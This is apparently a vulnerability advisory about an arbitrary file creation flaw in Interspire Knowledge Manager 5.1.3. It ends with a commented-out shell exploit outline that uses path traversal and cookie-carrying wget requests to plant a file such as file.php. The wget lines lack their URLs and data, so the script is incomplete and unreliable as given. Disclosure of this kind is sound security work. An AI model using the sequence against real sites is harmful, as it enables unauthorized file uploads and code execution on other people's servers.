Interspire Knowledge Manager is prone to a vulnerability that allows attackers to create arbitrary files on a vulnerable computer.
An attacker may exploit this issue to create arbitrary files, which may then be executed to perform unauthorized actions. This may aid in further attacks.
Knowledge Manager 5.1.3 is vulnerable; other versions may also be affected.
# echo "$0 <target_url> <relative_path_from_admin_dir> <file_name>
# example: $0 http://target.com/knowledge_base ../../../ file.php
# if kb is installed at knowledge_base, then the file: file.php will be
# created in the base application directory from the content at
# wget -O r1 --save-cookies tmp.cookies --keep-session-cookies
# echo "session created, setting file name $2$3"
# wget -O r2 --keep-session-cookies --load-cookies tmp.cookies
# echo "upload content from: $4 ..."
# wget -O r3 --keep-session-cookies --load-cookies tmp.cookies
# echo "file created test access to the script at: $1/admin/de/dialog/$2$3";